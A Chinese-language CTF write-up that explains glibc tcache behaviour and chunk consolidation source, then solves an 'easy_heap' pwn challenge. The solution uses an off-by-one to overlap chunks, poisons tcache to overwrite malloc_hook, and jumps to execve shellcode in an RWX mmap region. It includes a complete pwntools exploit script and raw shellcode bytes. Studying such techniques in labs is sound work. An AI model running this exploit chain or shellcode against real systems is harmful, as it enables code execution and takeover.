tcache bin分配过程
第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct 。
free 内存,且 size 小于 small bin size 时
tcache 之前会放到 fastbin 或者 unsorted bin 中
tcache 后:
先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
tcache 中的 chunk 不会合并(不取消 inuse bit)
malloc 内存,且 size 在 tcache 范围内
先从 tcache 取 chunk,直到 tcache 为空
tcache 为空后,从 bin 中找
tcache 为空时,如果 fastbin/smallbin/unsorted bin 中有 size 符合的 chunk,
会先把fastbin/smallbin/unsorted bin 中的 chunk 放到 tcache 中,直到填满。
之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来
chunk前向合并源码
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
// 说明 fastbin 已经初始化
if (get_max_fast() != 0) {
// 清空 fastbin 标记
// 因为要合并 fastbin 中的 chunk 了。
clear_fastchunks(av);
//
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
// 按照 fd 顺序遍历 fastbin 的每一个 bin,将 bin 中的每一个 chunk 合并掉。
maxfb = &fastbin(av, NFASTBINS - 1);
fb = &fastbin(av, 0);
do {
p = atomic_exchange_acq(fb, NULL);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in
* free() */
size = chunksize(p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
// 判断 nextchunk 是否是空闲的。
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
// 设置 nextchunk 的 prev inuse 为0,以表明可以合并当前 fast chunk。
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range(size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);
保护全开,三个功能,增删改,没有show函数,难以泄露libc,给出一个mmap地址
自定义的read函数存在off-by-one漏洞
开头用mmap分配一个可读可写可执行的空间,且给出该空间的地址
没有UAF
最大允许申请0x1000大小的chunk
将shellcode写入到mmap分配的空间并执行。
1.利用off-by-one构造堆块重叠
2.当unsorted bin中只有一个chunk时,该chunk的fd指针指向malloc_hook+0x70的地方,我们虽然不知道libc具体地址,但是可以通过修改malloc_hook+0x70的低字节为0x30(经调试libc2.27的malloc_hook最低字节就是0x30)来分配malloc_hook处的chunk,然后利用tcache机制修改malloc_hook为mmap分配的空间地址
3.再次malloc时,实际执行我们写好的shellcode,getshell
from pwn import *
elf = ELF('./easy_heap')
#sh = remote('node4.buuoj.cn',28040)
sh = process('./easy_heap')
#libc = ELF('../../libc-2.27.so--64')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context(log_level='debug')
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()
def add(size):
sh.sendlineafter('>>',str(1))
sh.sendlineafter(':',str(size))
def free(index):
sh.sendlineafter('>>',str(2))
sh.sendlineafter(':',str(index))
def edit(index,content):
sh.sendlineafter('>>',str(3))
sh.sendlineafter(':',str(index))
sh.sendafter(':',content)
首先接收mmap分配的地址空间
sh.recvuntil("Mmap: ")
mmap = int(sh.recv(12),16)
lg('mmap',mmap)
dbg()
因为我们要修改两部分,第一次向mmap分配空间处写入shellcode,第二次将malloc_hook改为mmap分配空间地址,所以需要两个堆块重叠
先申请五个chunk
add(0x410)#0 进入unsorted bin,便于修改malloc_hook
add(0x28)#1 改写mmap分配的空间内容
add(0x18)#2 改写malloc_hook
add(0x4f0)#3 分配size位为0x501大小chunk,利用off-by-null改为0x500
add(0x20)#4 防止chunk与top chunk合并
free(0)进入unsorted bin
free(0)
dbg()
修改chunk3的pre_size为0x470(0x420+0x30+0x20),free chunk3,1,2合并chunk
edit(2,'A'*0x10 + p64(0x470))
free(3)
free(1)
free(2)
dbg()
申请0x450(0x420+0x30)chunk,利用原chunk0控制原chunk1
add(0x440)#0
申请0x520(0x20+0x500)chunk,利用原chunk2控制原chunk3,此时原chunk2在tcachebin中,且fd指向malloc_hook+0x70处
add(0x510)#1
dbg()
修改原chunk1的fd指针为mmap+0x10处,此时chunk1在tcache中,fd指向mmap+0x10,大小为0x30
edit(0,'A'*0x410 + p64(0) + p64(0x31) + p64(mmap+0x10)+'\n')
dbg()
申请 0x30的chunk,此时tcache bin 里只剩下mmap+0x10的chunk
add(0x28)#2
dbg()
再次申请 0x30的chunk,chunk3位于mmap+0x10处
add(0x28)#3
dbg()
写入shellcode
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n"
edit(3,shellcode)
dbg()
修改0x520的chunk的fd位低字节为0x30,此时fd指向malloc_hook,由于刚才构造的堆块重叠,此时原chunk2位于tcachebin中,且fd指针指向malloc_hook
edit(1,p8(0x30)+'\n')
dbg()
申请0x20大小的chunk,此时从unsorted bin中切割,原chunk2从tcachebin中拿走,此时tcache bin中只有一个指向malloc_hook的chunk
add(0x18)#5
dbg()
再次申请0x20大小的chunk,将malloc_hook改为mmap+0x10的地址
add(0x18)#6
edit(6,p64(mmap+0x10)+'\n')
dbg()
再次malloc获得shell
add(0x10)
#dbg()
sh.interactive()